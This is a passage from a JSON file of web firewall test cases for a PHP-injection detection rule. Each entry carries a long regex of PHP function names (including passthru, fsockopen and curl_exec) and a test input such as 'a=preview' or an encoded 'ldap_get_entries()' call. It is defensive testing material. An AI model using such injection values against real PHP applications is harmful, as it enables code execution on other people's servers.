terlace|struecolor)|jpeg|l(?:(?:ayereffec|oadfon)t|ine)|openpolygon|p(?:alette(?:copy|totruecolor)|ng|olygon)|r(?:e(?:ctangle|solution)|otate)|s(?:avealpha|cale|et(?:brush|clip|interpolation|pixel|style|t(?:hickness|ile))|tring(?:up)?|[xy])|t(?:ruecolortopalette|ypes)|xbm)|p_(?:(?:8bi|qprin)t|a(?:lerts|ppend)|b(?:ase64|inary|ody(?:struct)?)|c(?:heck|l(?:earflag_full|ose)|reatemailbox)|delete(?:mailbox)?|e(?:rrors|xpunge)|fetch(?:_overview|body|header|(?:mim|structur)e)|g(?:c|et(?:_quota(?:root)?|acl|mailboxes|subscribed))|header(?:info|s)|(?:is_)?open|l(?:ast_error|ist(?:scan)?|sub)|m(?:ail(?:_(?:co(?:mpose|py)|move)|boxmsginfo)?|ime_header_decode|sgno|utf7_to_utf8)|num_(?:msg|recent)|ping|r(?:e(?:namemailbox|open)|fc822_(?:parse_(?:adrlist|headers)|write_address))|s(?:avebody|e(?:arch|t(?:_quota|(?:ac|flag_ful)l))|ort|tatus|ubscribe)|t(?:hread|imeout)|u(?:id|n(?:delet|subscrib)e|tf(?:7_(?:de|en)code|8(?:_to_mutf7)?))))|n(?:_array|et_(?:ntop|pton)|flate_(?:add|get_(?:read_len|status)|init)|i_(?:get(?:_all)?|parse_quantity|restore|set)|t(?:div|erface_exists|l(?:_(?:error_nam|get_error_(?:cod|messag)|is_failur)e|cal_(?:a(?:dd|fter)|(?:befor|f(?:ield_differenc|rom_date_tim)|to_date_tim)e|c(?:lear|reate_instance)|equals|get(?:_(?:a(?:ctual_m(?:ax|in)imum|vailable_locales)|(?:day_of_week_typ|error_(?:cod|messag)|keyword_values_for_local)e|first_day_of_week|greatest_minimum|l(?:east_maximum|ocale)|m(?:aximum|inim(?:al_days_in_first_week|um))|now|(?:(?:repeat|skipp)ed_wall_time_op|weekend_transi)tion|t(?:ime(?:_zone)?|ype)))?|i(?:n_daylight_time|s_(?:equivalent_to|(?:lenien|se)t|weekend))|roll|set(?:_(?:(?:first_day_of|minimal_days_in_first)_week|lenient|(?:repeat|skipp)ed_wall_time_option|time(?:_zone)?))?)|gregcal_(?:(?:create_instanc|[gs]et_gregorian_chang)e|is_leap_year)|tz_(?:c(?:ount_equivalent_ids|reate_(?:default|enumeration|time_zone(?:_id_enumeration)?))|(?:(?:from|to)_date_time_zon|use_daylight_tim)e|get_(?:(?:canonical|windows)_id|d(?:isplay_name|st_savings)|e(?:quivalent_id|rror_(?:cod|messag)e)|(?:gm|offse)t|id(?:_for_windows_id)?|r(?:aw_offset|egion)|(?:tz_data_versio|unknow)n)|has_same_rules))))|p(?:2long|tc(?:embed|parse))|s_(?:bool|(?:(?:(?:c(?:all|ount)|(?:execu|wri)t)ab|uploaded_fi)l|i(?:nfinit|terabl)|re(?:adabl|sourc))e|f(?:i(?:l|nit)e|loat)|link|nan|s(?:calar|oap_fault|tring|ubclass_of))|terator_(?:(?:appl|to_arra)y|count))|j(?:d(?:dayofweek|monthname|to(?:french|gregorian|j(?:ewish|ulian)|unix))|(?:ewish|ulian)tojd|son_(?:last_error(?:_msg)?|validate)))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933151", "test_description": "rule should not trigger when there are other words before parenthesis (`ceil` should not be matched)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=preview" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:c(?:cel_chdir|osh?)|ddc?slashes|pache_(?:child_terminate|get(?:_(?:modules|version)|env)|lookup_uri|note |re(?:quest|sponse)_headers|setenv)|r(?:ray_(?:c(?:h(?:ange_key_case|unk)|o(?:lumn|mbine|unt_values))|diff(?:_(?:assoc|key|u(?:assoc|key)))?|f(?:ill(?:_keys)?|lip)|i(?:ntersect(?:_(?:assoc|key|u(?:assoc|key)))?|s_list)|key(?:_(?:fir|la)st|s)|m(?:ap|erge(?:_recursive)?|ultisort)|p(?:ad|op|roduct)|r(?:and|e(?:(?:duc|vers)e|place(?:_recursive)?))|s(?:earch|p?lice|um)|u(?:(?:diff|intersect)(?:_u?assoc)?|n(?:ique|shift))|walk(?:_recursive)?)|sort)|s(?:inh|ort|sert_options)|tan[2h]?)|b(?:ase(?:64_(?:de|en)code|_convert)|c(?:add|comp|div|m(?:od|ul)|pow(?:mod)?|s(?:cale|qrt|ub))|in(?:2hex|d(?:_textdomain_codeset|ec|textdomain))|oolval|z(?:(?:de)?compress|err(?:no|(?:o|st)r)|open|read))|c(?:al(?:_(?:days_in_month|(?:from|to)_jd|info)|l_user_func_array)|eil|h(?:(?:di)?r|grp|mod|own|unk_split)|l(?:ass_(?:alia|(?:implem|par)ent|use)s|earstatcache|ose(?:dir|log))|o(?:llator_(?:asort|c(?:ompar|reat)e|get_(?:(?:attribut|error_(?:cod|messag)|local)e|s(?:ort_key|trength))|s(?:et_(?:attribute|strength)|ort(?:_with_sort_keys)?))|m_(?:create_guid|event_sink|get_active_object|load_typelib|message_pump|print_typeinfo)|n(?:fig_get_hash|nection_(?:aborted|status)|vert_uu(?:de|en)code)|unt_chars)|rc32|type_(?:al(?:num|pha)|cntrl|(?:x?digi|p(?:rin|unc))t|graph|(?:low|upp)er|space)|url_(?:(?:c(?:los|opy_handl)|file_creat|paus)e|e(?:rr(?:no|or)|scape|xec)|getinfo|(?:ini|rese)t|multi_(?:(?:(?:add|remove)_handl|clos)e|e(?:rrno|xec)|getcontent|in(?:fo_read|it)|s(?:e(?:lec|top)t|trerror))|s(?:etopt(?:_array)?|hare_(?:close|errno|init|s(?:etopt|trerror))|trerror)|u(?:nescape|pkeep)|version))|d(?:ate(?:_(?:add|create(?:_(?:from_format|immutable(?:_from_format)?))?|d(?:(?:ate_s|efault_timezone_[gs])et|iff)|(?:forma|(?:offset_g|time(?:_s|(?:stamp|zone)_[gs]))e)t|get_last_errors|i(?:nterval_(?:create_from_date_string|format)|sodate_set)|modify|parse(?:_from_format)?|su(?:b|n(?:_info|rise|set)))|fmt_(?:(?:creat|localtim|pars)e|format(?:_object)?|get_(?:calendar(?:_object)?|(?:datetyp|error_(?:cod|messag)|local)e|pattern|time(?:type|zone(?:_id)?))|is_lenient|set_(?:calendar|lenient|pattern|timezone)))|ba_(?:(?:clos|delet|replac)e|(?:exist|handler)s|f(?:etch|irstkey)|(?:inser|key_spli|lis)t|nextkey|op(?:en|timize)|popen|sync)|(?:cn?)?gettext|e(?:bug_(?:(?:print_)?backtrace|zval_dump)|c(?:bin|hex)|flate_(?:add|init)|g2rad)|isk_(?:free|total)_space|l_test_test[12]|n(?:gettext|s_(?:check_record|get_(?:mx|record)))|om_import_simplexml)|e(?:aster_da(?:te|ys)|n(?:chant_(?:broker_(?:d(?:escribe|ict_exists)|free(?:_dict)?|get_(?:dict_path|error)|(?:ini|request_(?:pwl_)?dic)t|list_dicts|set_(?:dict_path|ordering))|dict_(?:add(?:_to_session)?|(?:quick_)?check|describe|get_error|is_added|s(?:tore_replacemen|ugges)t))|um_exists)|rror_(?:(?:clear|get)_last|(?:lo|reportin)g)|scapeshell(?:arg|cmd)|x(?:if_(?:imagetype|read_data|t(?:agname|humbnail))|pm1|tension_loaded))|f(?:astcgi_finish_request|d(?:atasync|iv)|eof|f(?:i_trampoline|lush)|get(?:c(?:sv)?|s)|i(?:l(?:e_put_contents|ter_(?:has_var|i(?:d|nput(?:_array)?)|list|var(?:_array)?))|nfo_(?:buffer|(?:clos|fil)e|open|set_flags))|loatval|(?:mo|re(?:a|nchtoj))d|nmatch|orward_static_call(?:_array)?|p(?:assthru|m_get_status|rintf|utcsv)|s(?:canf|eek|ockopen|tat|ync)|t(?:ell|ok|p_(?:a(?:lloc|ppend)|c(?:dup|h(?:dir|mod)|lose|onnect)|delete|exec|f(?:ge|pu)t|get(?:_option)?|login|m(?:dtm|kdir|lsd)|n(?:b_(?:continue|(?:f(?:ge|pu)|ge|pu)t)|list)|p(?:asv|ut|wd)|r(?:aw(?:list)?|ename|mdir)|s(?:et_option|(?:i[tz]|ystyp)e|sl_connect))|runcate)|unc_(?:get_args?|num_args)|write)|g(?:c_(?:(?:(?:collect_cycl|mem_cach)e|statu)s|disable|enabled?)|d_info|et(?:_(?:browser|c(?:(?:alled_clas|lass_(?:method|var))s|(?:fg_va|urrent_use)r)|de(?:bug_type|(?:clared_(?:(?:class|interfac)e|trait)|fined_(?:constant|function|var))s)|(?:extension_func|loaded_extension|m(?:angled_object_var|eta_tag)|parent_clas)s|h(?:eaders|tml_translation_table)|include(?:_path|d_files)|o(?:bject_vars|pen_basedir)|resource(?:_(?:id|type)|s))|(?:cw|lastmo)d|(?:dat|rusag)e|env|host(?:by(?:addr|namel?)|name)|imagesize(?:fromstring)?|my(?:[gpu]id|inode)|opt|protobyn(?:ame|umber)|servby(?:name|port)|t(?:ext|imeofday|ype))|m(?:(?:dat|(?:mk|strf)tim)e|p_(?:a(?:bs|[dn]d)|binomial|c(?:lrbit|mp|om)|div(?:_(?:qr?|r)|exact)|(?:expor|fac|hamdis|testbi)t|gcd(?:ext)?|i(?:mport|n(?:(?:i|ver)t|tval))|jacobi|(?:kronecke|x?o)r|l(?:cm|egendre)|m(?:od|ul)|ne(?:g|xtprime)|p(?:erfect_(?:power|square)|o(?:pcount|wm?)|rob_prime)|r(?:andom_(?:bits|range|seed)|oot(?:rem)?)|s(?:can[01]|etbit|ign|qrt(?:rem)?|trval|ub)))|r(?:apheme_(?:extract|s(?:tr(?:i(?:pos|str)|len|(?:ri?)?pos|str)|ubstr))|egoriantojd)|z(?:(?:un)?compress|(?:de(?:cod|flat)|encod|fil|inflat)e|open))|h(?:ash_(?:(?:algo|equal)s|copy|fi(?:le|nal)|h(?:kdf|mac(?:_(?:algos|file))?)|init|pbkdf2|update(?:_(?:file|stream))?)|e(?:ader(?:_re(?:gister_callback|move)|s_(?:lis|sen)t)|brev|x(?:2bin|dec))|ighlight_(?:file|string)|rtime|t(?:ml(?:(?:_entity|specialchars)_decode|entities)|tp_(?:build_query|response_code))|ypot)|i(?:conv(?:_(?:get_encoding|mime_(?:decode(?:_headers)?|encode)|s(?:et_encoding|tr(?:len|r?pos)|ubstr)))?|dn_to_(?:ascii|utf8)|gnore_user_abort|ma(?:ge(?:_type_to_(?:extension|mime_type)|a(?:ffine(?:matrix(?:conca|ge)t)?|lphablending|ntialias|rc|vif)|(?:bm|w(?:bm|eb))p|c(?:har(?:up)?|o(?:lor(?:a(?:llocate(?:alpha)?|t)|closest(?:alpha|hwb)?|deallocate|(?:exact|resolve)(?:alpha)?|match|s(?:et|forindex|total)|transparent)|nvolution|py(?:merge(?:gray)?|res(?:ampl|iz)ed)?)|r(?:eate(?:from(?:avif|(?:bm|w(?:bm|eb))p|g(?:d(?:2(?:part)?)?|if)|(?:jpe|(?:p|stri)n)g|tga|x[bp]m)|truecolor)?|op(?:auto)?))|d(?:ashedline|estroy)|ellipse|f(?:il(?:l(?:ed(?:arc|(?:ellips|rectangl)e|polygon)|toborder)?|ter)|lip|ont(?:height|width)|t(?:bbox|text))|g(?:ammacorrect|d2?|et(?:clip|interpolation)|if|rab(?:screen|window))|i(?:nterlace|struecolor)|jpeg|l(?:(?:ayereffec|oadfon)t|ine)|openpolygon|p(?:alette(?:copy|totruecolor)|ng|olygon)|r(?:e(?:ctangle|solution)|otate)|s(?:avealpha|cale|et(?:brush|clip|interpolation|pixel|style|t(?:hickness|ile))|tring(?:up)?|[xy])|t(?:ruecolortopalette|ypes)|xbm)|p_(?:(?:8bi|qprin)t|a(?:lerts|ppend)|b(?:ase64|inary|ody(?:struct)?)|c(?:heck|l(?:earflag_full|ose)|reatemailbox)|delete(?:mailbox)?|e(?:rrors|xpunge)|fetch(?:_overview|body|header|(?:mim|structur)e)|g(?:c|et(?:_quota(?:root)?|acl|mailboxes|subscribed))|header(?:info|s)|(?:is_)?open|l(?:ast_error|ist(?:scan)?|sub)|m(?:ail(?:_(?:co(?:mpose|py)|move)|boxmsginfo)?|ime_header_decode|sgno|utf7_to_utf8)|num_(?:msg|recent)|ping|r(?:e(?:namemailbox|open)|fc822_(?:parse_(?:adrlist|headers)|write_address))|s(?:avebody|e(?:arch|t(?:_quota|(?:ac|flag_ful)l))|ort|tatus|ubscribe)|t(?:hread|imeout)|u(?:id|n(?:delet|subscrib)e|tf(?:7_(?:de|en)code|8(?:_to_mutf7)?))))|n(?:_array|et_(?:ntop|pton)|flate_(?:add|get_(?:read_len|status)|init)|i_(?:get(?:_all)?|parse_quantity|restore|set)|t(?:div|erface_exists|l(?:_(?:error_nam|get_error_(?:cod|messag)|is_failur)e|cal_(?:a(?:dd|fter)|(?:befor|f(?:ield_differenc|rom_date_tim)|to_date_tim)e|c(?:lear|reate_instance)|equals|get(?:_(?:a(?:ctual_m(?:ax|in)imum|vailable_locales)|(?:day_of_week_typ|error_(?:cod|messag)|keyword_values_for_local)e|first_day_of_week|greatest_minimum|l(?:east_maximum|ocale)|m(?:aximum|inim(?:al_days_in_first_week|um))|now|(?:(?:repeat|skipp)ed_wall_time_op|weekend_transi)tion|t(?:ime(?:_zone)?|ype)))?|i(?:n_daylight_time|s_(?:equivalent_to|(?:lenien|se)t|weekend))|roll|set(?:_(?:(?:first_day_of|minimal_days_in_first)_week|lenient|(?:repeat|skipp)ed_wall_time_option|time(?:_zone)?))?)|gregcal_(?:(?:create_instanc|[gs]et_gregorian_chang)e|is_leap_year)|tz_(?:c(?:ount_equivalent_ids|reate_(?:default|enumeration|time_zone(?:_id_enumeration)?))|(?:(?:from|to)_date_time_zon|use_daylight_tim)e|get_(?:(?:canonical|windows)_id|d(?:isplay_name|st_savings)|e(?:quivalent_id|rror_(?:cod|messag)e)|(?:gm|offse)t|id(?:_for_windows_id)?|r(?:aw_offset|egion)|(?:tz_data_versio|unknow)n)|has_same_rules))))|p(?:2long|tc(?:embed|parse))|s_(?:bool|(?:(?:(?:c(?:all|ount)|(?:execu|wri)t)ab|uploaded_fi)l|i(?:nfinit|terabl)|re(?:adabl|sourc))e|f(?:i(?:l|nit)e|loat)|link|nan|s(?:calar|oap_fault|tring|ubclass_of))|terator_(?:(?:appl|to_arra)y|count))|j(?:d(?:dayofweek|monthname|to(?:french|gregorian|j(?:ewish|ulian)|unix))|(?:ewish|ulian)tojd|son_(?:last_error(?:_msg)?|validate)))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933151", "test_description": "snippets of Eng words (like prev) should not be matched, requiring regex match with word boundaries (e.g. 933160)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=exploration" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:c(?:cel_chdir|osh?)|ddc?slashes|pache_(?:child_terminate|get(?:_(?:modules|version)|env)|lookup_uri|note |re(?:quest|sponse)_headers|setenv)|r(?:ray_(?:c(?:h(?:ange_key_case|unk)|o(?:lumn|mbine|unt_values))|diff(?:_(?:assoc|key|u(?:assoc|key)))?|f(?:ill(?:_keys)?|lip)|i(?:ntersect(?:_(?:assoc|key|u(?:assoc|key)))?|s_list)|key(?:_(?:fir|la)st|s)|m(?:ap|erge(?:_recursive)?|ultisort)|p(?:ad|op|roduct)|r(?:and|e(?:(?:duc|vers)e|place(?:_recursive)?))|s(?:earch|p?lice|um)|u(?:(?:diff|intersect)(?:_u?assoc)?|n(?:ique|shift))|walk(?:_recursive)?)|sort)|s(?:inh|ort|sert_options)|tan[2h]?)|b(?:ase(?:64_(?:de|en)code|_convert)|c(?:add|comp|div|m(?:od|ul)|pow(?:mod)?|s(?:cale|qrt|ub))|in(?:2hex|d(?:_textdomain_codeset|ec|textdomain))|oolval|z(?:(?:de)?compress|err(?:no|(?:o|st)r)|open|read))|c(?:al(?:_(?:days_in_month|(?:from|to)_jd|info)|l_user_func_array)|eil|h(?:(?:di)?r|grp|mod|own|unk_split)|l(?:ass_(?:alia|(?:implem|par)ent|use)s|earstatcache|ose(?:dir|log))|o(?:llator_(?:asort|c(?:ompar|reat)e|get_(?:(?:attribut|error_(?:cod|messag)|local)e|s(?:ort_key|trength))|s(?:et_(?:attribute|strength)|ort(?:_with_sort_keys)?))|m_(?:create_guid|event_sink|get_active_object|load_typelib|message_pump|print_typeinfo)|n(?:fig_get_hash|nection_(?:aborted|status)|vert_uu(?:de|en)code)|unt_chars)|rc32|type_(?:al(?:num|pha)|cntrl|(?:x?digi|p(?:rin|unc))t|graph|(?:low|upp)er|space)|url_(?:(?:c(?:los|opy_handl)|file_creat|paus)e|e(?:rr(?:no|or)|scape|xec)|getinfo|(?:ini|rese)t|multi_(?:(?:(?:add|remove)_handl|clos)e|e(?:rrno|xec)|getcontent|in(?:fo_read|it)|s(?:e(?:lec|top)t|trerror))|s(?:etopt(?:_array)?|hare_(?:close|errno|init|s(?:etopt|trerror))|trerror)|u(?:nescape|pkeep)|version))|d(?:ate(?:_(?:add|create(?:_(?:from_format|immutable(?:_from_format)?))?|d(?:(?:ate_s|efault_timezone_[gs])et|iff)|(?:forma|(?:offset_g|time(?:_s|(?:stamp|zone)_[gs]))e)t|get_last_errors|i(?:nterval_(?:create_from_date_string|format)|sodate_set)|modify|parse(?:_from_format)?|su(?:b|n(?:_info|rise|set)))|fmt_(?:(?:creat|localtim|pars)e|format(?:_object)?|get_(?:calendar(?:_object)?|(?:datetyp|error_(?:cod|messag)|local)e|pattern|time(?:type|zone(?:_id)?))|is_lenient|set_(?:calendar|lenient|pattern|timezone)))|ba_(?:(?:clos|delet|replac)e|(?:exist|handler)s|f(?:etch|irstkey)|(?:inser|key_spli|lis)t|nextkey|op(?:en|timize)|popen|sync)|(?:cn?)?gettext|e(?:bug_(?:(?:print_)?backtrace|zval_dump)|c(?:bin|hex)|flate_(?:add|init)|g2rad)|isk_(?:free|total)_space|l_test_test[12]|n(?:gettext|s_(?:check_record|get_(?:mx|record)))|om_import_simplexml)|e(?:aster_da(?:te|ys)|n(?:chant_(?:broker_(?:d(?:escribe|ict_exists)|free(?:_dict)?|get_(?:dict_path|error)|(?:ini|request_(?:pwl_)?dic)t|list_dicts|set_(?:dict_path|ordering))|dict_(?:add(?:_to_session)?|(?:quick_)?check|describe|get_error|is_added|s(?:tore_replacemen|ugges)t))|um_exists)|rror_(?:(?:clear|get)_last|(?:lo|reportin)g)|scapeshell(?:arg|cmd)|x(?:if_(?:imagetype|read_data|t(?:agname|humbnail))|pm1|tension_loaded))|f(?:astcgi_finish_request|d(?:atasync|iv)|eof|f(?:i_trampoline|lush)|get(?:c(?:sv)?|s)|i(?:l(?:e_put_contents|ter_(?:has_var|i(?:d|nput(?:_array)?)|list|var(?:_array)?))|nfo_(?:buffer|(?:clos|fil)e|open|set_flags))|loatval|(?:mo|re(?:a|nchtoj))d|nmatch|orward_static_call(?:_array)?|p(?:assthru|m_get_status|rintf|utcsv)|s(?:canf|eek|ockopen|tat|ync)|t(?:ell|ok|p_(?:a(?:lloc|ppend)|c(?:dup|h(?:dir|mod)|lose|onnect)|delete|exec|f(?:ge|pu)t|get(?:_option)?|login|m(?:dtm|kdir|lsd)|n(?:b_(?:continue|(?:f(?:ge|pu)|ge|pu)t)|list)|p(?:asv|ut|wd)|r(?:aw(?:list)?|ename|mdir)|s(?:et_option|(?:i[tz]|ystyp)e|sl_connect))|runcate)|unc_(?:get_args?|num_args)|write)|g(?:c_(?:(?:(?:collect_cycl|mem_cach)e|statu)s|disable|enabled?)|d_info|et(?:_(?:browser|c(?:(?:alled_clas|lass_(?:method|var))s|(?:fg_va|urrent_use)r)|de(?:bug_type|(?:clared_(?:(?:class|interfac)e|trait)|fined_(?:constant|function|var))s)|(?:extension_func|loaded_extension|m(?:angled_object_var|eta_tag)|parent_clas)s|h(?:eaders|tml_translation_table)|include(?:_path|d_files)|o(?:bject_vars|pen_basedir)|resource(?:_(?:id|type)|s))|(?:cw|lastmo)d|(?:dat|rusag)e|env|host(?:by(?:addr|namel?)|name)|imagesize(?:fromstring)?|my(?:[gpu]id|inode)|opt|protobyn(?:ame|umber)|servby(?:name|port)|t(?:ext|imeofday|ype))|m(?:(?:dat|(?:mk|strf)tim)e|p_(?:a(?:bs|[dn]d)|binomial|c(?:lrbit|mp|om)|div(?:_(?:qr?|r)|exact)|(?:expor|fac|hamdis|testbi)t|gcd(?:ext)?|i(?:mport|n(?:(?:i|ver)t|tval))|jacobi|(?:kronecke|x?o)r|l(?:cm|egendre)|m(?:od|ul)|ne(?:g|xtprime)|p(?:erfect_(?:power|square)|o(?:pcount|wm?)|rob_prime)|r(?:andom_(?:bits|range|seed)|oot(?:rem)?)|s(?:can[01]|etbit|ign|qrt(?:rem)?|trval|ub)))|r(?:apheme_(?:extract|s(?:tr(?:i(?:pos|str)|len|(?:ri?)?pos|str)|ubstr))|egoriantojd)|z(?:(?:un)?compress|(?:de(?:cod|flat)|encod|fil|inflat)e|open))|h(?:ash_(?:(?:algo|equal)s|copy|fi(?:le|nal)|h(?:kdf|mac(?:_(?:algos|file))?)|init|pbkdf2|update(?:_(?:file|stream))?)|e(?:ader(?:_re(?:gister_callback|move)|s_(?:lis|sen)t)|brev|x(?:2bin|dec))|ighlight_(?:file|string)|rtime|t(?:ml(?:(?:_entity|specialchars)_decode|entities)|tp_(?:build_query|response_code))|ypot)|i(?:conv(?:_(?:get_encoding|mime_(?:decode(?:_headers)?|encode)|s(?:et_encoding|tr(?:len|r?pos)|ubstr)))?|dn_to_(?:ascii|utf8)|gnore_user_abort|ma(?:ge(?:_type_to_(?:extension|mime_type)|a(?:ffine(?:matrix(?:conca|ge)t)?|lphablending|ntialias|rc|vif)|(?:bm|w(?:bm|eb))p|c(?:har(?:up)?|o(?:lor(?:a(?:llocate(?:alpha)?|t)|closest(?:alpha|hwb)?|deallocate|(?:exact|resolve)(?:alpha)?|match|s(?:et|forindex|total)|transparent)|nvolution|py(?:merge(?:gray)?|res(?:ampl|iz)ed)?)|r(?:eate(?:from(?:avif|(?:bm|w(?:bm|eb))p|g(?:d(?:2(?:part)?)?|if)|(?:jpe|(?:p|stri)n)g|tga|x[bp]m)|truecolor)?|op(?:auto)?))|d(?:ashedline|estroy)|ellipse|f(?:il(?:l(?:ed(?:arc|(?:ellips|rectangl)e|polygon)|toborder)?|ter)|lip|ont(?:height|width)|t(?:bbox|text))|g(?:ammacorrect|d2?|et(?:clip|interpolation)|if|rab(?:screen|window))|i(?:nterlace|struecolor)|jpeg|l(?:(?:ayereffec|oadfon)t|ine)|openpolygon|p(?:alette(?:copy|totruecolor)|ng|olygon)|r(?:e(?:ctangle|solution)|otate)|s(?:avealpha|cale|et(?:brush|clip|interpolation|pixel|style|t(?:hickness|ile))|tring(?:up)?|[xy])|t(?:ruecolortopalette|ypes)|xbm)|p_(?:(?:8bi|qprin)t|a(?:lerts|ppend)|b(?:ase64|inary|ody(?:struct)?)|c(?:heck|l(?:earflag_full|ose)|reatemailbox)|delete(?:mailbox)?|e(?:rrors|xpunge)|fetch(?:_overview|body|header|(?:mim|structur)e)|g(?:c|et(?:_quota(?:root)?|acl|mailboxes|subscribed))|header(?:info|s)|(?:is_)?open|l(?:ast_error|ist(?:scan)?|sub)|m(?:ail(?:_(?:co(?:mpose|py)|move)|boxmsginfo)?|ime_header_decode|sgno|utf7_to_utf8)|num_(?:msg|recent)|ping|r(?:e(?:namemailbox|open)|fc822_(?:parse_(?:adrlist|headers)|write_address))|s(?:avebody|e(?:arch|t(?:_quota|(?:ac|flag_ful)l))|ort|tatus|ubscribe)|t(?:hread|imeout)|u(?:id|n(?:delet|subscrib)e|tf(?:7_(?:de|en)code|8(?:_to_mutf7)?))))|n(?:_array|et_(?:ntop|pton)|flate_(?:add|get_(?:read_len|status)|init)|i_(?:get(?:_all)?|parse_quantity|restore|set)|t(?:div|erface_exists|l(?:_(?:error_nam|get_error_(?:cod|messag)|is_failur)e|cal_(?:a(?:dd|fter)|(?:befor|f(?:ield_differenc|rom_date_tim)|to_date_tim)e|c(?:lear|reate_instance)|equals|get(?:_(?:a(?:ctual_m(?:ax|in)imum|vailable_locales)|(?:day_of_week_typ|error_(?:cod|messag)|keyword_values_for_local)e|first_day_of_week|greatest_minimum|l(?:east_maximum|ocale)|m(?:aximum|inim(?:al_days_in_first_week|um))|now|(?:(?:repeat|skipp)ed_wall_time_op|weekend_transi)tion|t(?:ime(?:_zone)?|ype)))?|i(?:n_daylight_time|s_(?:equivalent_to|(?:lenien|se)t|weekend))|roll|set(?:_(?:(?:first_day_of|minimal_days_in_first)_week|lenient|(?:repeat|skipp)ed_wall_time_option|time(?:_zone)?))?)|gregcal_(?:(?:create_instanc|[gs]et_gregorian_chang)e|is_leap_year)|tz_(?:c(?:ount_equivalent_ids|reate_(?:default|enumeration|time_zone(?:_id_enumeration)?))|(?:(?:from|to)_date_time_zon|use_daylight_tim)e|get_(?:(?:canonical|windows)_id|d(?:isplay_name|st_savings)|e(?:quivalent_id|rror_(?:cod|messag)e)|(?:gm|offse)t|id(?:_for_windows_id)?|r(?:aw_offset|egion)|(?:tz_data_versio|unknow)n)|has_same_rules))))|p(?:2long|tc(?:embed|parse))|s_(?:bool|(?:(?:(?:c(?:all|ount)|(?:execu|wri)t)ab|uploaded_fi)l|i(?:nfinit|terabl)|re(?:adabl|sourc))e|f(?:i(?:l|nit)e|loat)|link|nan|s(?:calar|oap_fault|tring|ubclass_of))|terator_(?:(?:appl|to_arra)y|count))|j(?:d(?:dayofweek|monthname|to(?:french|gregorian|j(?:ewish|ulian)|unix))|(?:ewish|ulian)tojd|son_(?:last_error(?:_msg)?|validate)))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933151", "test_description": "snippets of Eng words (like exp) should not be matched, requiring regex match with word boundaries (e.g. 933160)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ldap_get_entries%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:kr?sort|l(?:c(?:first|g_value|h(?:grp|own))|dap_(?:8859_to_t61|(?:ad|bin)d(?:_ext)?|co(?:mpare|nnect(?:_wallet)?|unt_(?:entri|referenc)es)|d(?:elete(?:_ext)?|n2ufn)|e(?:rr(?:(?:2st|o)r|no)|scape|x(?:op(?:_(?:passwd|refresh|sync|whoami))?|plode_dn))|f(?:irst_(?:(?:attribut|referenc)e|entry)|ree_result)|get_(?:(?:attribut|entri)es|(?:d|optio|values_le)n)|list|mod(?:_(?:add|del|replace)(?:_ext)?|ify_batch)|next_(?:(?:attribut|referenc)e|entry)|parse_(?:exop|re(?:ference|sult))|re(?:ad|name(?:_ext)?)|s(?:asl_bind|e(?:arch|t_(?:option|rebind_proc))|tart_tls)|t61_to_8859|unbind)|evenshtein|i(?:bxml_(?:(?:clear|use_internal)_errors|disable_entity_loader|get_(?:e(?:rrors|xternal_entity_loader)|last_error)|set_(?:external_entity_loader|streams_context))|nkinfo|tespeed_(?:finish_request|re(?:quest|sponse)_headers))|o(?:cal(?:e(?:_(?:(?:accept_from_htt|looku)p|(?:c(?:anonicaliz|ompos)|pars)e|filter_matches|get_(?:(?:all_variant|keyword)s|d(?:efault|isplay_(?:(?:languag|nam)e|region|(?:scrip|varian)t))|primary_language|region|script)|set_default)|conv)|time)|g1[0p]|ng2ip)|stat|trim)|m(?:b_(?:c(?:h(?:eck_encoding|r)|onvert_(?:case|encoding|kana|variables))|de(?:code_(?:mimeheader|numericentity)|tect_(?:encoding|order))|e(?:ncod(?:e_(?:mimeheader|numericentity)|ing_aliases)|reg(?:_(?:match|replace(?:_callback)?|search(?:_(?:(?:get(?:po|reg)|(?:set)?po|reg)s|init))?)|i(?:_replace)?)?)|get_info|http_(?:in|out)put|internal_encoding|l(?:anguage|ist_encodings)|o(?:rd|utput_handler)|p(?:arse_str|referred_mime_name)|regex_(?:encoding|set_options)|s(?:crub|end_mail|plit|tr(?:_(?:pad|split)|cut|i(?:mwidth|pos|str)|len|pos|r(?:chr|i(?:chr|pos)|pos)|(?:st|to(?:low|upp)e)r|width)|ubst(?:itute_character|r(?:_count)?)))|(?:(?:d5|ove_uploaded)_fil|e(?:mory_(?:get_(?:peak_)?|reset_peak_)usag|taphon)|i(?:crotim|me_content_typ))e|hash(?:_(?:count|get_(?:block_siz|hash_nam)e|keygen_s2k))?|k(?:dir|time)|